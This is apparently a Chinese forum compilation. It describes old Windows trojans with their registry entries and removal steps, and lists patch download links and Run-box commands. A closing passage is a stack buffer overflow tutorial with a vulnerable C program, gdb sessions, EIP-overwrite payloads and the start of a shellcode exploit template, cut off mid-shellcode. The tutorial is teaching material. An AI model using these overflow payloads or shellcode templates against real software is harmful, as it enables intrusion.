以便下次系统启动时病毒能自动运行。该病毒还会将自己分别拷贝到D盘根目录和E盘根目录下并且生成一个相应的Autorun.inf文件,这样,只要用户浏览这两个分区,病毒就能被执行,从而增大了病毒的感染机会。病毒启动后,会驻留系统,然后监控整个计算机,与外部的病毒程序沟通,可以造成用户计算机被控制、重要信息被泄露等后果。

  “若虎”病毒(Trojan.PSW.Rohu.server.enc):警惕程度★★★,木马病毒,通过网络传播,依赖系统: WIN9X/NT/2000/XP。该病毒由三部分构成:制造程序、服务器端GetPin.exe和客户端GETPIN.dll。病毒运行时会通过制造程序,来设置接收密码的邮箱,并生成病毒服务器程序。然后病毒服务器程序GetPin.exe会将客户端GetPin.dll释放到目标计算机中,这时该病毒就能截取用户各种的输入信息来获得用户的各种密码信息。




Windows 2000 Service Pack 4 简体中文版下载地址:

http://download.microsoft.com/do ... 9c0e6/w2ksp4_cn.exe

Windows 2000 Service Pack 4 英文版下载地址:
http://download.microsoft.com/do ... D095E/W2KSP4_EN.EXE


Windows 2000 Service Pack 4 繁体中文版下载地址:
http://download.microsoft.com/do ... 3b307/W2KSP4_tw.EXE

Windows 2000 Service Pack 4 Hong Kong中文版下载地址:
http://download.microsoft.com/do ... c3acb/W2KSP4_hk.EXE

微软RPC缓冲区漏洞补丁

http://download.sina.com.cn/cgi-bin/detail.cgi?s_id=9021




网络公牛(Netbull)

  


网络公牛又名Netbull,是国产木马,默认连接端口23444,最新版本V1.1。服务端程序newserver.exe运行后,会自动脱壳成checkdll.exe,位于C:/WINDOWS/SYSTEM下,下次开机checkdll.exe将自动运行,因此很隐蔽、危害很大。同时,服务端运行后会自动捆绑以下文件:

win9x下:捆绑notepad.exe;write.exe,regedit.exe,winmine.exe,winhelp.exe;

winnt/2000下:(在2000下会出现文件改动报警,但也不能阻止以下文件的捆绑)notepad.exe;regedit.exe,reged32.exe;drwtsn32.exe;winmine.exe。

服务端运行后还会捆绑在开机时自动运行的第三方软件(如:realplay.exe、QQ、ICQ等)上。在注册表中网络公牛也悄悄地扎下了根,如下:

[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run] "CheckDll.exe"=

"C:/WINDOWS/SYSTEM/CheckDll.exe"

[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/
RunServices]

"CheckDll.exe"="C:/WINDOWS/SYSTEM/CheckDll.exe"

[HKEY_USERS/.DEFAULT/Software/Microsoft/Windows/CurrentVersion/Run]
"CheckDll.exe"=

"C:WINDOWSSYSTEMCheckDll.exe"

在我看来,网络公牛是最讨厌的了。它没有采用文件关联功能,采用的是文件捆绑功能,和上面所列出的文件捆绑在一块,要清除非常困难!你可能要问:那么其它木马为什么不用这个功能?哈哈,其实采用捆绑方式的木马还有很多,并且这样做也有个缺点:容易暴露自己!只要是稍微有经验的用户,就会发现文件长度发生了变化,从而怀疑自己中了木马。

清除方法:

1、删除网络公牛的自启动程序C:WINDOWSSYSTEMCheckDll.exe。

2、把网络公牛在注册表中所建立的键值全部删除(上面所列出的那些键值全部删除)

3、检查上面列出的文件,如果发现文件长度发生变化(大约增加了40K左右,可以通过与其它机子上的正常文件比较而知),就删除它们!然后点击“开始->附件->系统工具->系统信息->工具->系统文件检查器”,在弹出的对话框中选中“从安装软盘提取一个文件(E)”,在框中填入要提取的文件(前面你删除的文件),点“确定”按钮,然后按屏幕提示将这些文件恢复即可。如果是开机时自动运行的第三方软件如:realplay.exe、QQ、ICQ等被捆绑上了,那就得把这些文件删除,再重新安装。




Netspy(网络精灵)

  Netspy又名网络精灵,是国产木马,最新版本为3.0,默认连接端口为7306。在该版本中新添加了注册表编辑功能和浏览器监控功能,客户端现在可以不用NetMonitor,通过IE或Navigate就可以进行远程监控了。服务端程序被执行后,会在C:\Windows\system目录下生成netspy.exe文件。同时在注册表HKEY_LOCAL_MACHINE\software\ microsoft\windows\CurrentVersion \Run\下建立键值C\windows\ system\netspy.exe,用于在系统启动时自动加载运行。

  清除方法:

  1.重新启动机器并在出现Staring windows提示时,按F5键进入命令行状态。在C:\windows\system\目录下输入以下命令:del netspy.exe;

  2.进入HKEY_LOCAL_MACHINE\

  Software\microsoft\windows\ CurrentVersion\Run\,删除Netspy的键值即可安全清除Netspy。

  




SubSeven

  




  SubSeven的功能比起BO2K可以说有过之而无不及。最新版为2.2(默认连接端口27374),服务端只有54.5k,很容易被捆绑到其它软件而不被发现。最新版的金山毒霸等杀毒软件查不到它。服务器端程序server.exe,客户端程序subseven.exe。SubSeven服务端被执行后,变化多端,每次启动的进程名都会发生变化,因此很难查。

1.打开注册表Regedit,点击至: HKEY_LOCAL_MACHINE\SOFTWARE\

  Microsoft\Windows\CurrentVersion\Run和RunService下,如果有加载文件,就删除右边的项目:加载器=“c:\windows\system\***”。注:加载器和文件名是随意改变的

  2.打开win.ini文件,检查“run=”后有没有加上某个可执行文件名,如有则删除之。

  3.打开system.ini文件,检查“shell=explorer.exe”后有没有跟某个文件,如有将它删除。

  4.重新启动Windows,删除相对应的木马程序,一般在c:\windows\system下,在我在本机上做实验时发现该文件名为vqpbk.exe。




冰河               



冰河一个简单的清除方法就是安装“冰河陷阱”它会自动清除木马冰河


  




我们这里介绍的是其标准版,掌握了如何清除标准版,再来对付变种冰河就很容易了。 冰河的服务器端程序为G-server.exe,客户端程序为G-client.exe,默认连接端口为7626。一旦运行G-server,那么该程序就会在C:\Windows\system目录下生成Kernel32.exe和sysexplr.exe,并删除自身。Kernel32.exe在系统启动时自动加载运行,sysexplr.exe和TXT文件关联。即使你删除了Kernel32.exe,但只要你打开TXT文件,sysexplr.exe就会被激活,它将再次生成Kernel32.exe。

  清除方法:

  1.删除C:\Windows\system下的Kernel32.exe和Sysexplr.exe文件;

  2.冰河会在注册表HKEY_LOCAL_

  MACHINE\software\microsoft\windows\ CurrentVersion\Run下扎根,键值为C:\windows\system\Kernel32.exe,删除它;

  3.在注册表的HKEY_LOCAL_

  MACHINE\software\microsoft\windows\ CurrentVersion\Runservices下,还有键值为C:\windows\system\Kernel32.exe的,也要删除;

  4.最后,改注册表HKEY_CLASSES_

  ROOT\txtfile\shell\open\command下的默认值,由表中木马后的C:\windows\system\Sysexplr.exe %1改为正常的C:\windows\notepad.exe %1,即可恢复TXT文件关联功能。








网络神偷(Nethief)

  




网络神偷是个反弹端口型木马。什么叫“反弹端口”型木马呢?与一般的木马相反,反弹端口型木马的服务端(被控制端)使用主动端口,客户端(控制端)使用被动端口,为了隐蔽起见,客户端的监听端口一般开在80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似“TCP 服务端的IP地址:1026 客户端的IP地址:80 ESTABLISHED”的情况,稍微疏忽一点你就会以为是自己在浏览网页。

  清除方法:

  1.网络神偷会在注册表HKEY_LOCAL_MACHINE\SOFTWARE\

  Microsoft\Windows\CurrentVersion\Run下建立键值“internet”,其值为“internet.exe /s”,将键值删除;

  2.删除其自启动程序C:\WINDOWS\SYSTEM\INTERNET.EXE。

  




广外女生

  



“广外女生”是是一种新出现的远程监控工具,破坏性很大,远程上传、下载、删除文件、修改注册表等自然不在话下。其可怕之处在于“广外女生”服务端被执行后,会自动检查进程中是否含有“金山毒霸”、“天网”等字样,如果发现就将该进程终止,也就是说使防火墙完全失去作用!   

  清除方法:

  1.启动到纯DOS模式下,找到System目录下的DIAGFG.EXE,删除它;

  2.我们找到Windows目录中的注册表编辑器“Regedit.exe”,将它改名为“Regedit.com”;

  3.回到Windows模式下,运行Windows目录下的Regedit.com程序(就是我们刚才改名的文件);

  4.找到HKEY_CLASSES_ROOT\

  exefile\shell\open\command,将其默认键值改成"%1" %*;

  5删除注册表中名称为“Diagnostic Configuration”的键值;

  6.关掉注册表编辑器,回到Windows目录,将“Regedit.com”改回“Regedit.exe”。





WAY2.4

  



WAY2.4是国产木马程序,默认连接端口是8011。WAY2.4的注册表操作的确有特色,对受控端注册表的读写,就和本地注册表读写一样方便!WAY2.4服务端被运行后在C:\windows\system下生成msgsvc.exe文件,图标是文本文件的图标,很隐蔽。看来它想冒充系统文件msgsvc32.exe。同时,WAY2.4在注册表HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run下建立串值Msgtask。

  清除方法:

  用进程管理工具查看,你会发现进程CWAY,只要删除它在注册表中的键值,再删除C:\windows\system下的msgsvc.exe这个文件就可以了。

  要注意在Windows下直接删除msgsvc.exe是删不掉的,此时你可以用进程管理工具终止它的进程,然后再删除它。或者到DoS下删除msgsvc.exe也可。如果服务端已经和可执行文件捆绑在一起了,那就只有将那个可执行文件也删除了。注意在删除前请做好备份。





Acid Battery v1.0
清除木马的步骤:

打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的Explorer ="C:\WINDOWS\expiorer.exe"
关闭Regedit
重新启动到MSDOS方式
删除c:\windows\expiorer.exe木马程序
注意:不要删除正确的ExpLorer.exe程序,它们之间只有i与L的差别。
重新启动。OK




Acid Shiver v1.0 + 1.0Mod + lmacid

清除木马的步骤:




重新启动到MSDOS方式
删除C:\windows\MSGSVR16.EXE
然后回到Windows系统
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的Explorer = "C:\WINDOWS\MSGSVR16.EXE"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
删除右边的Explorer = "C:\WINDOWS\MSGSVR16.EXE"
关闭Regedit
重新启动。OK

重新启动到MSDOS方式
删除C:\windows\wintour.exe然后回到Windows系统
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的Wintour = "C:\WINDOWS\WINTOUR.EXE"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
删除右边的Wintour = "C:\WINDOWS\WINTOUR.EXE"
关闭Regedit
重新启动。OK




Ambush

清除木马的步骤:





打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的zka = "zcn32.exe"
关闭Regedit
重新启动到MSDOS方式
删除C:\Windows\ zcn32.exe
重新启动。OK




AOL Trojan




清除木马的步骤:







启动到MSDOS方式
删除C:\ command.exe(删除前取消文件的隐含属性)
注意:不要删除真的command.com文件。
删除C:\ americ~1.0\buddyl~1.exe(删除前取消文件的隐含属性)
删除C:\ windows\system\norton~1\regist~1.exe(删除前取消文件的隐含属性)

打开WIN.INI文件
在[WINDOWS]下面“run=”和“load=”都加载者特洛伊木马程序的路径,必须清除它们:
run=
load=
保存WIN.INI

还要改正注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的WinProfile = c:\command.exe
关闭Regedit,重新启动Windows。OK




Asylum v0.1, 0.1.1, 0.1.2, 0.1.3 + Mini 1.0, 1.1

清除木马的步骤:





注意:木马程序默认文件名是wincmp32.exe,然而程序可以随意改变文件名。
我们可以根据木马修改的system.ini和win.ini两个文件来清除木马。
打开system.ini文件
在[BOOT]下面有个”shell=文件名”。正确的文件名是explorer.exe
如果不是”explorer.exe”,那么那个文件就是木马程序,把它查找出来,删除。
保存退出system.ini
打开win.ini文件
在[WINDOWS]下面有个run=
如果你看到=后面有路径文件名,必须把它删除。
正确的应该是run=后面什么也没有。
=后面的路径文件名就是木马,把它查找出来,删除。
保存退出win.ini。
OK









AttackFTP


清除木马的步骤:






打开win.ini文件
在[WINDOWS]下面有load=wscan.exe
删除wscan.exe ,正确是load=
保存退出win.ini。

打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的Reminder="wscan.exe /s"
关闭Regedit,重新启动到MSDOS系统中
删除C:\windows\system\ wscan.exe
OK





Back Construction 1.0 - 2.5


清除木马的步骤:








打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的"C:\WINDOWS\Cmctl32.exe"
关闭Regedit,重新启动到MSDOS系统中
删除C:\WINDOWS\Cmctl32.exe
OK






BackDoor v2.00 - v2.03
清除木马的步骤:








打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的'c:\windows\notpa.exe /o=yes'
关闭Regedit,重新启动到MSDOS系统中
删除c:\windows\notpa.exe
注意:不要删除真正的notepad.exe笔记本程序
OK





BF Evolution v5.3.12


清除木马的步骤:







打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的(Default)=" "
关闭Regedit,再次重新启动计算机。
将C:\windows\system\ .exe(空格exe文件)




Trojan.QQbot.a









破坏方法:该病毒使用delphi编写,采用ASpack压缩,是一个通过监视QQ的消息来进行远程控制的木马。

一旦运行,病毒将执行下列操作:

1.病毒将修改注册表,添加:

"registry" = "%CURBASE%\%CURFILE"
  
到键值:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run

这样病毒就可以随系统自启动。

2.病毒通过监视QQ的接收消息来响应远程控制端的操作:
病毒可以执行的操作包括:
上传、下载、执行文件,共享硬盘,关闭、重启计算机,抓屏并发送EMail,通过进程名或ID来终止
进程的运行,关闭、卸载木马等。

3.病毒的远程控制端通过生成相应的QQ消息来控制其服务端,发送的消息可能为:
"去看看!wsdgs!!@@iXT3;lGim OKdrkuLL&&ldUimlw$$"->此发送的消息为下载木马网址<加密>
"我看看!wsdgs@@0/$s^t&&"->此消息为从染毒机器中下载文件<加密>
"你好啊!wsdgs@@1234567&&"->此消息为共享C盘<加密>
"去试试!wsdgs@@iXT3;lGim OKdrkuLL&&"->此消息执行文件<加密>
"死机了?wsdgs"->关机
"掉线了?wsdgs"->重启
"在干嘛?wsdgs!!"->抓屏并Mail
"还在啊?wsdgs!!"->列举进程并Mail
"怎么了?wsdgs@@1234&&"->关闭进程
"冷雨打芭蕉"->关闭对方QQ
"江湖一剑飘"->关闭木马
"天涯任逍遥"->卸载木马

清除方法:

打开注册表编辑器regedit.exe
找到相应键值:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run\registry
删除此键值,终止此键值指向的进程,删除此键值指向的文件。




Trojan.QQbot.a.enc







破坏方法:该病毒使用delphi编写,采用ASpack压缩,是一个通过监视QQ的消息来进行远程控制的木马。

一旦运行,病毒将执行下列操作:

1.病毒将修改注册表,添加:

"registry" = "%CURBASE%\%CURFILE"
  
到键值:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run

这样病毒就可以随系统自启动。

2.病毒通过监视QQ的接收消息来响应远程控制端的操作:
病毒可以执行的操作包括:
上传、下载、执行文件,共享硬盘,关闭、重启计算机,抓屏并发送EMail,通过进程名或ID来终止
进程的运行,关闭、卸载木马等。

3.病毒的远程控制端通过生成相应的QQ消息来控制其服务端,发送的消息可能为:
"去看看!wsdgs!!@@iXT3;lGim OKdrkuLL&&ldUimlw$$"->此发送的消息为下载木马网址<加密>
"我看看!wsdgs@@0/$s^t&&"->此消息为从染毒机器中下载文件<加密>
"你好啊!wsdgs@@1234567&&"->此消息为共享C盘<加密>
"去试试!wsdgs@@iXT3;lGim OKdrkuLL&&"->此消息执行文件<加密>
"死机了?wsdgs"->关机
"掉线了?wsdgs"->重启
"在干嘛?wsdgs!!"->抓屏并Mail
"还在啊?wsdgs!!"->列举进程并Mail
"怎么了?wsdgs@@1234&&"->关闭进程
"冷雨打芭蕉"->关闭对方QQ
"江湖一剑飘"->关闭木马
"天涯任逍遥"->卸载木马
清除方法:

打开注册表编辑器regedit.exe
找到相应键值:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run\registry
删除此键值,终止此键值指向的进程,删除此键值指向的文件。





Worm.Agobot.3.li






破坏方法:后门病毒。

系统中的病毒文件:系统目录的taskmngr.exe

被修改的注册表

1    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run
"Task Manager" : TASKMNGR.EXE

2    HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run
"Task Manager" : TASKMNGR.EXE

3    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\RunServices
"Task Manager" : TASKMNGR.EXE

4.   HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\EnableDCOM = "N"

5.   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous =  0x1

通过"dadarxbot.b3ta.org"进行通讯和控制。

监听113等待连接。




Trojan.Lmir.WhBoy.m






破坏方法:偷游戏密码的木马。

系统中病毒文件:

%WINDOWS%\ csrss.exe
%SYSTEM%\WinS0cks.dll

被病毒添加的注册表项:
HKLM\SoftWare\Microsoft\Windows\CurrentVersion\Runcsrss\csrss
    "C:\WINNT\csrss.exe"
HKLM\SoftWare\Microsoft\Windows\CurrentVersion\Run\csrss
   "C:\WINNT\csrss.exe"

病毒终止反病毒软件,偷游戏密码。

TOP

关于在开始运行中的命令新加的一点

wmimgmt.msc----打开windows管理体系结构(WMI)

  wupdmgr--------windows更新程序

  wscript--------windows脚本宿主设置

  write----------写字板

  winmsd---------系统信息

  wiaacmgr-------扫描仪和照相机向导

  winchat--------XP自带局域网聊天

  mem.exe--------显示内存使用情况

  msconfig.exe---系统配置实用程序

  mplayer2-------简易widnows media player

  mspaint--------画图板

  mstsc----------远程桌面连接

  mplayer2-------媒体播放机

  magnify--------放大镜实用程序

  mmc------------打开控制台

  mobsync--------同步命令

  dxdiag---------检查DirectX信息

  drwtsn32------ 系统医生

  devmgmt.msc--- 设备管理器

  dfrg.msc-------磁盘碎片整理程序

  diskmgmt.msc---磁盘管理实用程序

  dcomcnfg-------打开系统组件服务

  ddeshare-------打开DDE共享设置

  dvdplay--------DVD播放器

  net stop messenger-----停止信使服务

  net start messenger----开始信使服务

   notepad--------打开记事本

  nslookup-------网络管理的工具向导

  ntbackup-------系统备份和还原

  narrator-------屏幕“讲述人”

  ntmsmgr.msc----移动存储管理器

  ntmsoprq.msc---移动存储管理员*作请求

  netstat -an----(TC)命令检查接口

  syncapp--------创建一个公文包

  sysedit--------系统配置编辑器

  sigverif-------文件签名验证程序

  sndrec32-------录音机

  shrpubw--------创建共享文件夹

  secpol.msc-----本地安全策略

  syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码

  services.msc---本地服务设置

  Sndvol32-------音量控制程序

  sfc.exe--------系统文件检查器

  sfc /scannow---windows文件保护

  tsshutdn-------60秒倒计时关机命令

  tourstart------xp简介(安装完成后出现的漫游xp程序)

  taskmgr--------任务管理器
   
   eventvwr-------事件查看器

  eudcedit-------造字程序

  explorer-------打开资源管理器

  packager-------对象包装程序

  perfmon.msc----计算机性能监测程序

  progman--------程序管理器

  regedit.exe----注册表

  rsop.msc-------组策略结果集

  regedt32-------注册表编辑器

  rononce -p ----15秒关机

  regsvr32 /u *.dll----停止dll文件运行

  regsvr32 /u zipfldr.dll------取消ZIP支持

  cmd.exe--------CMD命令提示符

  chkdsk.exe-----Chkdsk磁盘检查

  certmgr.msc----证书管理实用程序

  calc-----------启动计算器

  charmap--------启动字符映射表

  cliconfg-------SQL SERVER 客户端网络实用程序

  Clipbrd--------剪贴板查看器

  conf-----------启动netmeeting

  compmgmt.msc---计算机管理

  cleanmgr-------**整理

  ciadv.msc------索引服务程序

  osk------------打开屏幕键盘

  odbcad32-------ODBC数据源管理器

  oobe/msoobe /a----检查XP是否激活

  lusrmgr.msc----本机用户和组

  logoff---------注销命令

  iexpress-------木马捆绑工具,系统自带

  nslookup-------IP地址侦测器

  fsmgmt.msc-----共享文件夹管理器

  utilman--------辅助工具管理器

  gpedit.msc-----组策略

TOP

缓冲区溢出笔记之---STACK溢出

i.预备知识
ii.溢出原理演示
iii.三种常用溢出方法演示及实例分析



本来预备讲的东西很多,后来由于篇幅过长原因,所以其他一些内容就没有再讲了,比如与环境变量
传递的BUF有关的溢出(通过setenv(),putenv()等函数传递环境变量到BUF),以及一些实例分析.这篇
是我在学习BUFFER OVERFLOW过程中的一些心得,算是一个总结,同时也希望能帮助那些需要的
朋友们.


1.预备知识

由于篇幅问题,在这里就省略了,具体可以参照汇编教程,或其他缓冲区溢出教程中的预备知识.

这里仅仅请不太清楚的朋友先弄懂STACK,ESP,EBP,EIP等基本概念.

# %esp 是堆栈指针寄存器,它指向当前堆栈储存区域的顶部.

# %ebp 是基址寄存器,它指向当前堆栈储存区域的底部.

# %eip 是指令指针(在缓冲区溢出中对我们最有用的寄存器)

2.三种常用溢出方法.

首先,我们来看一个有漏洞的程序

[tt@ph4nt0m explab]$ cat stack1.c
#include<stdio.h>
int main(int argc,char **argv){
      char buf[10];
      strcpy(buf,argv[1]);
      printf("buf's 0x%8x\n",&buf);
      return 0;
}
[tt@ph4nt0m explab]$

这里做了什么呢?就是构造一个10BYTES的BUFFER,然后把命令行的第一个参数拷贝进缓冲区
由于没有进行边界检察,所以当argv[1]超过10bytes时,就会造成缓冲区溢出.当然,在理论上是只
需要超过10BYTES,但是,实际上由于GCC的版本问题,所以往往在BUFFER后面添加了很多填充物
,所以实际上我们需要28BYTES才能真正覆盖BUFFER,我们还是实际来看一下

[tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x10'`
buf's 0xbfffec30
[tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x24'`
buf's 0xbffff220
[tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x28'`
buf's 0xbfffe020
段错误
[tt@ph4nt0m explab]$

可见当覆盖10BYTES的"A"时,程序正常退出,24BYTES也是如此,直到28BYTES时,才发生SEGMENT FAULT

我们用GDB来调试一下会比较清楚

[tt@ph4nt0m explab]$ gdb stack1
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disass main
Dump of assembler code for function main:
0x0804835c <main+0>: push %ebp
0x0804835d <main+1>: mov %esp,%ebp
0x0804835f <main+3>: sub $0x18,%esp
0x08048362 <main+6>: and $0xfffffff0,%esp
0x08048365 <main+9>: mov $0x0,%eax
0x0804836a <main+14>: sub %eax,%esp
0x0804836c <main+16>: sub $0x8,%esp
0x0804836f <main+19>: mov 0xc(%ebp),%eax
0x08048372 <main+22>: add $0x4,%eax
......<以下略>......

这里我们只需要注意到
0x0804835f <main+3>: sub $0x18,%esp

0x18等于10进制的24
事实上,内存中为BUFFER分配了24字节的空间,所以就不难解释上面的结论了.
那么接下来的4BYTES当然就造成了SEGMENT FAULT

那么,我们到底覆盖了什么呢?重新运行程序,用28BYTES覆盖

(gdb) r `perl -e 'print "A"x28'`
Starting program: /home/tt/explab/stack1 `perl -e 'print "A"x28'`
buf's 0xbffff110

Program received signal SIGSEGV, Segmentation fault.
0x42015501 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) i reg
eax 0x0 0
ecx 0x4212ee20 1108536864
edx 0x11 17
ebx 0x42130a14 1108544020
esp 0xbffff130 0xbffff130
ebp 0x41414141 0x41414141
esi 0x40015360 1073828704
edi 0x80483d1 134513617
eip 0x42015501 0x42015501
eflags 0x10206 66054

再次重新运行,这次再多加4BYTES,即用32BYTES覆盖

(gdb) r `perl -e 'print "A"x32'`
Starting program: /home/tt/explab/stack1 `perl -e 'print "A"x32'`
buf's 0xbffff610

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i reg
eax 0x0 0
ecx 0x4212ee20 1108536864
edx 0x11 17
ebx 0x42130a14 1108544020
esp 0xbffff630 0xbffff630
ebp 0x41414141 0x41414141
esi 0x40015360 1073828704
edi 0x80483d0 134513616
eip 0x41414141 0x41414141
eflags 0x10282 66178

通过上面两个实例,可以看到,当28BYTES时,将覆盖EBP,32BYTES时,将覆盖EIP
(注:A的ASCII码值为41)

所以内存中实际上是这样分布的

+---------+
|  buf    |
+---------+
|  填充物 |
+---------+
|  EBP    |
+---------+
|  EIP    |
+---------+
|  ...... |
| 内存高址|


所以,当我们覆盖了EIP后,就可以改变程序的流程,在上面用0x41414141覆盖,在内存中不可读
当然就造成了段错误

注意,我们要覆盖的EIP那个值,应该是我们要运行代码的入口地址,而不是代码本身.

我们再来做一个演示

[tt@ph4nt0m explab]$ cat stackdemo.c
#include<stdio.h>
void fun(){
       printf("test,being hacked!!!\n\n");
}
int main(int argc,char **argv){
       char buf[10];
       strcpy(buf,argv[1]);
       printf("buf's 0x%8x\n",&buf);
       printf("fun is at 0x%8x\n",fun);
       return 0;

}
[tt@ph4nt0m explab]$

与之前略有区别的是这个程序中多了一个函数FUN,但是在MAIN()中没有调用,所以程序应该不调用
FUN而正常结束.我们目标是溢出后,要能调用FUN

通过前面的结论,我们知道,覆盖28字节后,再加上4字节将覆盖EIP,所以,只需要把这4字节,设置成FUN的
入口地址就可以了 !


我们具体来看.为了方便起见,我在程序中打印出了FUN函数的地址,当然也可以通过GDB 里disass fun来
得到这个地址,结果是一样的

[tt@ph4nt0m explab]$ ./stackdemo test
buf's 0xbfffe130
fun is at 0x 804835c
[tt@ph4nt0m explab]$

可以看到函数fun的入口地址在0x0804835c

所以我们这样来构造应该可以调用到函数fun

[tt@ph4nt0m explab]$ ./stackdemo `perl -e 'print "A"x28;print "\x5c\x83\x04\x08"'`
buf's 0xbfffe090
fun is at 0x 804835c
test,being hacked!!!

段错误
[tt@ph4nt0m explab]$


果然成功了!函数fun成功执行了!

通过上面的分析,我们已经基本上掌握了程序运行时,内存中的分布,那么,现在来看真正的攻击

我们通过覆盖EIP,改变程序流程,从而执行SHELLCODE,得到一个SHELL

下面介绍常用的三种方法.



1.NNNNNNNNNSSSSSSSSSSSRRRRRRRRRRRRRR型

这种方法适合于大缓冲区,是很传统的方法,记得ALPHA ONE在他的经典著作中就是用的这个方法

这里N代表NOPS,也就是0x90,在实际运行中,程序将什么也不做,而是一直延着这些NOPS运行下去,
直到遇到不是NOPS的指令再执行之.

使用大量NOPS的原因是为了增加EXPLOIT成功的机率.

S代表SHELLCODE,也就是我们要执行的一段代码,得到SHELL,SHELLCODE的相关问题请参考相关文档.

R代表返回地址,在下面我都用ret表示,是我们用来覆盖EIP的那个值,他将指向SHELLCODE


如前所述,这种方法适合于大的缓冲区,因为如果缓冲区太小,可能放不下SHELLCODE,那样就不能用RET来
正确的覆盖EIP,从而无法得到我们想要的结果.同时,就算能放下SHELLCODE,前面的NOPS放的太少,也
会大大影响EXPLOIT的成功率.

我们来看实际例子

[tt@ph4nt0m explab]$ cat stack2.c
#include<stdio.h>

int main(int argc,char **argv){
      char buf[500];
      strcpy(buf,argv[1]);
      printf("buf's 0x%8x\n",&buf);
      return 0;

}
[tt@ph4nt0m explab]$

我们设置了一个BUF为500字节的大BUFFER,用前面的方法,用GDB反汇编得到覆盖EIP
所需的字节.当然,这里为了演示我们还可以用另外一个方法:二分法

就是不断测试造成溢出所需字节数,来判断覆盖所需要字节

[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x500'`
buf's 0xbfffde50
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x600'`
buf's 0xbfffebf0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x550'`
buf's 0xbfffe7a0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x530'`
buf's 0xbffff0c0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x520'`
buf's 0xbfffe440
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x525'`
buf's 0xbfffe0c0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'`
buf's 0xbfffe1c0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x521'`
buf's 0xbfffe040
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x522'`
buf's 0xbffff040
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x523'`
buf's 0xbffff140
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'`
buf's 0xbfffeec0
段错误
[tt@ph4nt0m explab]$

这样,最后我们就确定了溢出点,和反汇编的结果一致
(gdb) r `perl -e 'print "A"x524'`
Starting program: /home/tt/explab/stack2 `perl -e 'print "A"x524'`
buf's 0xbfffd830

Program received signal SIGSEGV, Segmentation fault.
0x42015501 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) i reg
eax 0x0 0
ecx 0x4212ee20 1108536864
edx 0x11 17
ebx 0x42130a14 1108544020
esp 0xbfffda40 0xbfffda40
ebp 0x41414141 0x41414141
esi 0x40015360 1073828704
edi 0x80483d9 134513625
eip 0x42015501 0x42015501
eflags 0x10202 66050

(gdb) disass main
Dump of assembler code for function main:
0x0804835c <main+0>: push %ebp
0x0804835d <main+1>: mov %esp,%ebp
0x0804835f <main+3>: sub $0x208,%esp ====>这里:0x208=520,所以524覆盖了EBP
0x08048365 <main+9>: and $0xfffffff0,%esp
0x08048368 <main+12>: mov $0x0,%eax
...... ......


这样,算法清楚后,就可以开始写我们的EXPLOIT了

下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的模板.

[tt@ph4nt0m explab]$ cat stackexp2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[]=
// setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
